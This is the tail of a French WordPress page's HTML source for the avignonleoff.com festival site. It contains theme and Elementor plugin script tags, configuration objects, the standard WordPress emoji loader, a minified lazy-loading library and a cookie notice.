var ajax_var = {"url":"https://www.avignonleoff.com/wp-admin/admin-ajax.php","nonce":"37b0e96540","errorPass":"\u003Cp class=\"message message-error\"\u003EPassword does not match the confirm password\u003C/p\u003E","login":"Email Address","password":"Password","headerstyle":"default"};
//# sourceURL=penci_ajax_like_post-js-extra
</script>
<script id="penci_ajax_like_post-js" src="https://www.avignonleoff.com/wp-content/themes/soledad/js/post-like.js?ver=8.2.1"></script>
<script async data-wp-strategy="async" fetchpriority="low" id="comment-reply-js" src="https://www.avignonleoff.com/wp-includes/js/comment-reply.min.js?ver=7.0.4"></script>
<script id="elementor-webpack-runtime-js" src="https://www.avignonleoff.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=4.2.4"></script>
<script id="elementor-frontend-modules-js" src="https://www.avignonleoff.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=4.2.4"></script>
<script id="jquery-ui-core-js" src="https://www.avignonleoff.com/wp-includes/js/jquery/ui/core.min.js?ver=1.13.3"></script>
<script id="elementor-frontend-js-before">
var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Partager sur Facebook","shareOnX":"Share on X","pinIt":"L\u2019\u00e9pingler","download":"T\u00e9l\u00e9charger","downloadImage":"T\u00e9l\u00e9charger une image","fullscreen":"Plein \u00e9cran","zoom":"Zoom","share":"Partager","playVideo":"Lire la vid\u00e9o","previous":"Pr\u00e9c\u00e9dent","next":"Suivant","close":"Fermer","a11yCarouselPrevSlideMessage":"Diapositive pr\u00e9c\u00e9dente","a11yCarouselNextSlideMessage":"Diapositive suivante","a11yCarouselFirstSlideMessage":"Ceci est la premi\u00e8re diapositive","a11yCarouselLastSlideMessage":"Ceci est la derni\u00e8re diapositive","a11yCarouselPaginationBulletMessage":"Aller \u00e0 la diapositive"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Portrait mobile","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Paysage","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablette en mode portrait","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablette en mode paysage","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Portable","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"\u00c9cran large","value":2400,"default_value":2400,"direction":"min","is_enabled":false}},"hasCustomBreakpoints":false},"version":"4.2.4","is_static":false,"experimentalFeatures":{"additional_custom_breakpoints":true,"e_panel_promotions":true,"theme_builder_v2":true,"global_classes_should_enforce_capabilities":true,"e_variables":true,"e_opt_in_v4_page":true,"e_components":true,"e_interactions":true,"e_widget_creation":true,"import-export-customization":true,"e_pro_atomic_form":true,"e_pro_collection_loop":true,"e_pro_variables":true,"e_pro_interactions":true},"urls":{"assets":"https:\/\/www.avignonleoff.com\/wp-content\/plugins\/elementor\/assets\/","ajaxurl":"https:\/\/www.avignonleoff.com\/wp-admin\/admin-ajax.php","uploadUrl":"https:\/\/www.avignonleoff.com\/wp-content\/uploads"},"nonces":{"floatingButtonsClickTracking":"b93ea73c28","atomicFormsSendForm":"a6d1a0c849"},"swiperClass":"swiper","settings":{"page":[],"editorPreferences":[]},"kit":{"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description"},"post":{"id":17247,"title":"Accueil%20-%20LE%20OFF%20Avignon","excerpt":"","featuredImage":false}};
//# sourceURL=elementor-frontend-js-before
</script>
<script id="elementor-frontend-js" src="https://www.avignonleoff.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=4.2.4"></script>
<script id="jquery-recipe-rateyo-js" src="https://www.avignonleoff.com/wp-content/plugins/penci-recipe/js/jquery.rateyo.min.js?ver=3.3"></script>
<script id="penci_rateyo-js-extra">
var PENCI = {"ajaxUrl":"https://www.avignonleoff.com/wp-admin/admin-ajax.php","nonce":"37b0e96540"};
//# sourceURL=penci_rateyo-js-extra
</script>
<script id="penci_rateyo-js" src="https://www.avignonleoff.com/wp-content/plugins/penci-recipe/js/rating_recipe.js?ver=3.3"></script>
<script id="penci_portfolio_extra-js" src="https://www.avignonleoff.com/wp-content/plugins/penci-portfolio/js/penci-portfolio.js?ver=1.0"></script>
<script id="elementor-pro-webpack-runtime-js" src="https://www.avignonleoff.com/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=4.2.3"></script>
<script id="elementor-pro-frontend-js-before">
var ElementorProFrontendConfig = {"ajaxurl":"https:\/\/www.avignonleoff.com\/wp-admin\/admin-ajax.php","nonce":"56d44b8b18","urls":{"assets":"https:\/\/www.avignonleoff.com\/wp-content\/plugins\/elementor-pro\/assets\/","rest":"https:\/\/www.avignonleoff.com\/wp-json\/"},"settings":{"lazy_load_background_images":true},"popup":{"hasPopUps":false},"shareButtonsNetworks":{"facebook":{"title":"Facebook","has_counter":true},"twitter":{"title":"Twitter"},"linkedin":{"title":"LinkedIn","has_counter":true},"pinterest":{"title":"Pinterest","has_counter":true},"reddit":{"title":"Reddit","has_counter":true},"vk":{"title":"VK","has_counter":true},"odnoklassniki":{"title":"OK","has_counter":true},"tumblr":{"title":"Tumblr"},"digg":{"title":"Digg"},"skype":{"title":"Skype"},"stumbleupon":{"title":"StumbleUpon","has_counter":true},"mix":{"title":"Mix"},"telegram":{"title":"Telegram"},"pocket":{"title":"Pocket","has_counter":true},"xing":{"title":"XING","has_counter":true},"whatsapp":{"title":"WhatsApp"},"email":{"title":"Email"},"print":{"title":"Print"},"x-twitter":{"title":"X"},"threads":{"title":"Threads"}},"facebook_sdk":{"lang":"fr_FR","app_id":""},"lottie":{"defaultAnimationUrl":"https:\/\/www.avignonleoff.com\/wp-content\/plugins\/elementor-pro\/modules\/lottie\/assets\/animations\/default.json"}};
//# sourceURL=elementor-pro-frontend-js-before
</script>
<script id="elementor-pro-frontend-js" src="https://www.avignonleoff.com/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=4.2.3"></script>
<script id="pro-elements-handlers-js" src="https://www.avignonleoff.com/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=4.2.3"></script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://www.avignonleoff.com/wp-includes/js/wp-emoji-release.min.js?ver=7.0.4"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
//# sourceURL=https://www.avignonleoff.com/wp-includes/js/wp-emoji-loader.min.js
</script>
<div class="faketraf-footer-links" style="padding:14px 16px;text-align:center;font-size:14px;line-height:1.7"><a href="https://www.avignonleoff.com/avignonleoff-com/" style="margin:0 10px;text-decoration:none">Avignonleoff.com : guide pratique, accès et informations utiles</a><a href="https://www.avignonleoff.com/avignonleoff-com-contact/" style="margin:0 10px;text-decoration:none">Avignonleoff.com contact : contact, formulaire et informations pratiques</a><a href="https://www.avignonleoff.com/business-avignonleoff-com/" style="margin:0 10px;text-decoration:none">Business avignonleoff.com : guide pratique, accès et informations utiles</a></div>
<!-- Cookie Compliance for WordPress (formerly Compliance by Hu-manity.co) plugin v3.1.10 https://cookie-compliance.co/ -->
<div id="cookie-notice" role="dialog" class="cookie-notice-hidden cookie-revoke-hidden cn-position-bottom" aria-label="Cookie Compliance" style="background-color: rgba(0,0,0,1);"><div class="cookie-notice-container" style="color: #fff"><span id="cn-notice-text" class="cn-text-container">Nous utilisons des cookies pour vous garantir la meilleure expérience sur notre site web. Si vous continuez à utiliser ce site, nous supposerons que vous en êtes satisfait.</span><span id="cn-notice-buttons" class="cn-buttons-container"><button id="cn-accept-cookie" data-cookie-set="accept" class="cn-set-cookie cn-button cn-button-custom button" aria-label="Ok">Ok</button></span><button type="button" id="cn-close-notice" data-cookie-set="accept" class="cn-close-icon" aria-label="Non"></button></div>
</div>
<!-- / Cookie Compliance for WordPress plugin -->
<div class="avignon-footer-exact-link" style="text-align:center;padding:14px 16px 18px;background:#ffffff;font-size:15px;"><a href="https://www.avignonleoff.com/avignonleoff-com/" style="color:#3F51B5;font-weight:700;text-decoration:none;">AvignonleOff.com</a></div>
<script type='text/javascript' id="soledad-pagespeed-header" data-cfasync="false">!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(n="undefined"!=typeof globalThis?globalThis:n||self).LazyLoad=t()}(this,(function(){"use strict";function n(){return n=Object.assign||function(n){for(var t=1;t<arguments.length;t++){var e=arguments[t];for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(n[i]=e[i])}return n},n.apply(this,arguments)}var t="undefined"!=typeof window,e=t&&!("onscroll"in window)||"undefined"!=typeof navigator&&/(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent),i=t&&"IntersectionObserver"in window,o=t&&"classList"in document.createElement("p"),a=t&&window.devicePixelRatio>1,r={elements_selector:".lazy",container:e||t?document:null,threshold:300,thresholds:null,data_src:"src",data_srcset:"srcset",data_sizes:"sizes",data_bg:"bg",data_bg_hidpi:"bg-hidpi",data_bg_multi:"bg-multi",data_bg_multi_hidpi:"bg-multi-hidpi",data_poster:"poster",class_applied:"applied",class_loading:"loading",class_loaded:"loaded",class_error:"error",class_entered:"entered",class_exited:"exited",unobserve_completed:!0,unobserve_entered:!1,cancel_on_exit:!0,callback_enter:null,callback_exit:null,callback_applied:null,callback_loading:null,callback_loaded:null,callback_error:null,callback_finish:null,callback_cancel:null,use_native:!1},c=function(t){return n({},r,t)},u=function(n,t){var e,i="LazyLoad::Initialized",o=new n(t);try{e=new CustomEvent(i,{detail:{instance:o}})}catch(n){(e=document.createEvent("CustomEvent")).initCustomEvent(i,!1,!1,{instance:o})}window.dispatchEvent(e)},l="src",s="srcset",f="sizes",d="poster",_="llOriginalAttrs",g="loading",v="loaded",b="applied",p="error",h="native",m="data-",E="ll-status",I=function(n,t){return n.getAttribute(m+t)},y=function(n){return I(n,E)},A=function(n,t){return function(n,t,e){var i="data-ll-status";null!==e?n.setAttribute(i,e):n.removeAttribute(i)}(n,0,t)},k=function(n){return A(n,null)},L=function(n){return null===y(n)},w=function(n){return y(n)===h},x=[g,v,b,p],O=function(n,t,e,i){n&&(void 0===i?void 0===e?n(t):n(t,e):n(t,e,i))},N=function(n,t){o?n.classList.add(t):n.className+=(n.className?" ":"")+t},C=function(n,t){o?n.classList.remove(t):n.className=n.className.replace(new RegExp("(^|\\s+)"+t+"(\\s+|$)")," ").replace(/^\s+/,"").replace(/\s+$/,"")},M=function(n){return n.llTempImage},z=function(n,t){if(t){var e=t._observer;e&&e.unobserve(n)}},R=function(n,t){n&&(n.loadingCount+=t)},T=function(n,t){n&&(n.toLoadCount=t)},G=function(n){for(var t,e=[],i=0;t=n.children[i];i+=1)"SOURCE"===t.tagName&&e.push(t);return e},D=function(n,t){var e=n.parentNode;e&&"PICTURE"===e.tagName&&G(e).forEach(t)},V=function(n,t){G(n).forEach(t)},F=[l],j=[l,d],P=[l,s,f],S=function(n){return!!n[_]},U=function(n){return n[_]},$=function(n){return delete n[_]},q=function(n,t){if(!S(n)){var e={};t.forEach((function(t){e[t]=n.getAttribute(t)})),n[_]=e}},H=function(n,t){if(S(n)){var e=U(n);t.forEach((function(t){!function(n,t,e){e?n.setAttribute(t,e):n.removeAttribute(t)}(n,t,e[t])}))}},B=function(n,t,e){N(n,t.class_loading),A(n,g),e&&(R(e,1),O(t.callback_loading,n,e))},J=function(n,t,e){e&&n.setAttribute(t,e)},K=function(n,t){J(n,f,I(n,t.data_sizes)),J(n,s,I(n,t.data_srcset)),J(n,l,I(n,t.data_src))},Q={IMG:function(n,t){D(n,(function(n){q(n,P),K(n,t)})),q(n,P),K(n,t)},IFRAME:function(n,t){q(n,F),J(n,l,I(n,t.data_src))},VIDEO:function(n,t){V(n,(function(n){q(n,F),J(n,l,I(n,t.data_src))})),q(n,j),J(n,d,I(n,t.data_poster)),J(n,l,I(n,t.data_src)),n.load()}},W=["IMG","IFRAME","VIDEO"],X=function(n,t){!t||function(n){return n.loadingCount>0}(t)||function(n){return n.toLoadCount>0}(t)||O(n.callback_finish,t)},Y=function(n,t,e){n.addEventListener(t,e),n.llEvLisnrs[t]=e},Z=function(n,t,e){n.removeEventListener(t,e)},nn=function(n){return!!n.llEvLisnrs},tn=function(n){if(nn(n)){var t=n.llEvLisnrs;for(var e in t){var i=t[e];Z(n,e,i)}delete n.llEvLisnrs}},en=function(n,t,e){!function(n){delete n.llTempImage}(n),R(e,-1),function(n){n&&(n.toLoadCount-=1)}(e),C(n,t.class_loading),t.unobserve_completed&&z(n,e)},on=function(n,t,e){var i=M(n)||n;nn(i)||function(n,t,e){nn(n)||(n.llEvLisnrs={});var i="VIDEO"===n.tagName?"loadeddata":"load";Y(n,i,t),Y(n,"error",e)}(i,(function(o){!function(n,t,e,i){var o=w(t);en(t,e,i),N(t,e.class_loaded),A(t,v),O(e.callback_loaded,t,i),o||X(e,i)}(0,n,t,e),tn(i)}),(function(o){!function(n,t,e,i){var o=w(t);en(t,e,i),N(t,e.class_error),A(t,p),O(e.callback_error,t,i),o||X(e,i)}(0,n,t,e),tn(i)}))},an=function(n,t,e){!function(n){n.llTempImage=document.createElement("IMG")}(n),on(n,t,e),function(n){S(n)||(n[_]={backgroundImage:n.style.backgroundImage})}(n),function(n,t,e){var i=I(n,t.data_bg),o=I(n,t.data_bg_hidpi),r=a&&o?o:i;r&&(n.style.backgroundImage='url("'.concat(r,'")'),M(n).setAttribute(l,r),B(n,t,e))}(n,t,e),function(n,t,e){var i=I(n,t.data_bg_multi),o=I(n,t.data_bg_multi_hidpi),r=a&&o?o:i;r&&(n.style.backgroundImage=r,function(n,t,e){N(n,t.class_applied),A(n,b),e&&(t.unobserve_completed&&z(n,t),O(t.callback_applied,n,e))}(n,t,e))}(n,t,e)},rn=function(n,t,e){!function(n){return W.indexOf(n.tagName)>-1}(n)?an(n,t,e):function(n,t,e){on(n,t,e),function(n,t,e){var i=Q[n.tagName];i&&(i(n,t),B(n,t,e))}(n,t,e)}(n,t,e)},cn=function(n){n.removeAttribute(l),n.removeAttribute(s),n.removeAttribute(f)},un=function(n){D(n,(function(n){H(n,P)})),H(n,P)},ln={IMG:un,IFRAME:function(n){H(n,F)},VIDEO:function(n){V(n,(function(n){H(n,F)})),H(n,j),n.load()}},sn=function(n,t){(function(n){var t=ln[n.tagName];t?t(n):function(n){if(S(n)){var t=U(n);n.style.backgroundImage=t.backgroundImage}}(n)})(n),function(n,t){L(n)||w(n)||(C(n,t.class_entered),C(n,t.class_exited),C(n,t.class_applied),C(n,t.class_loading),C(n,t.class_loaded),C(n,t.class_error))}(n,t),k(n),$(n)},fn=["IMG","IFRAME","VIDEO"],dn=function(n){return n.use_native&&"loading"in HTMLImageElement.prototype},_n=function(n,t,e){n.forEach((function(n){return function(n){return n.isIntersecting||n.intersectionRatio>0}(n)?function(n,t,e,i){var o=function(n){return x.indexOf(y(n))>=0}(n);A(n,"entered"),N(n,e.class_entered),C(n,e.class_exited),function(n,t,e){t.unobserve_entered&&z(n,e)}(n,e,i),O(e.callback_enter,n,t,i),o||rn(n,e,i)}(n.target,n,t,e):function(n,t,e,i){L(n)||(N(n,e.class_exited),function(n,t,e,i){e.cancel_on_exit&&function(n){return y(n)===g}(n)&&"IMG"===n.tagName&&(tn(n),function(n){D(n,(function(n){cn(n)})),cn(n)}(n),un(n),C(n,e.class_loading),R(i,-1),k(n),O(e.callback_cancel,n,t,i))}(n,t,e,i),O(e.callback_exit,n,t,i))}(n.target,n,t,e)}))},gn=function(n){return Array.prototype.slice.call(n)},vn=function(n){return n.container.querySelectorAll(n.elements_selector)},bn=function(n){return function(n){return y(n)===p}(n)},pn=function(n,t){return function(n){return gn(n).filter(L)}(n||vn(t))},hn=function(n,e){var o=c(n);this._settings=o,this.loadingCount=0,function(n,t){i&&!dn(n)&&(t._observer=new IntersectionObserver((function(e){_n(e,n,t)}),function(n){return{root:n.container===document?null:n.container,rootMargin:n.thresholds||n.threshold+"px"}}(n)))}(o,this),function(n,e){t&&window.addEventListener("online",(function(){!function(n,t){var e;(e=vn(n),gn(e).filter(bn)).forEach((function(t){C(t,n.class_error),k(t)})),t.update()}(n,e)}))}(o,this),this.update(e)};return hn.prototype={update:function(n){var t,o,a=this._settings,r=pn(n,a);T(this,r.length),!e&&i?dn(a)?function(n,t,e){n.forEach((function(n){-1!==fn.indexOf(n.tagName)&&function(n,t,e){n.setAttribute("loading","lazy"),on(n,t,e),function(n,t){var e=Q[n.tagName];e&&e(n,t)}(n,t),A(n,h)}(n,t,e)})),T(e,0)}(r,a,this):(o=r,function(n){n.disconnect()}(t=this._observer),function(n,t){t.forEach((function(t){n.observe(t)}))}(t,o)):this.loadAll(r)},destroy:function(){this._observer&&this._observer.disconnect(),vn(this._settings).forEach((function(n){$(n)})),delete this._observer,delete this._settings,delete this.loadingCount,delete this.toLoadCount},loadAll:function(n){var t=this,e=this._settings;pn(n,e).forEach((function(n){z(n,t),rn(n,e,t)}))},restoreAll:function(){var n=this._settings;vn(n).forEach((function(t){sn(t,n)}))}},hn.load=function(n,t){var e=c(t);rn(n,e)},hn.resetStatus=function(n){k(n)},t&&function(n,t){if(t)if(t.length)for(var e,i=0;e=t[i];i+=1)u(n,e);else u(n,t)}(hn,window.lazyLoadOptions),hn}));
(function () {
var PenciLazy = new LazyLoad({
elements_selector: '.penci-lazy',
data_bg: 'bgset',
class_loading: 'lazyloading',
class_entered: 'lazyloaded',
class_loaded: 'pcloaded',
unobserve_entered: true
});
MutationObserver = window.MutationObserver || window.WebKitMutationObserver;
var observer = new MutationObserver(function(mutations, observer) {
PenciLazy.update();
});
observer.observe(document, {
subtree: true,
attributes: true
});
})();
;</script>
</body>
</html>
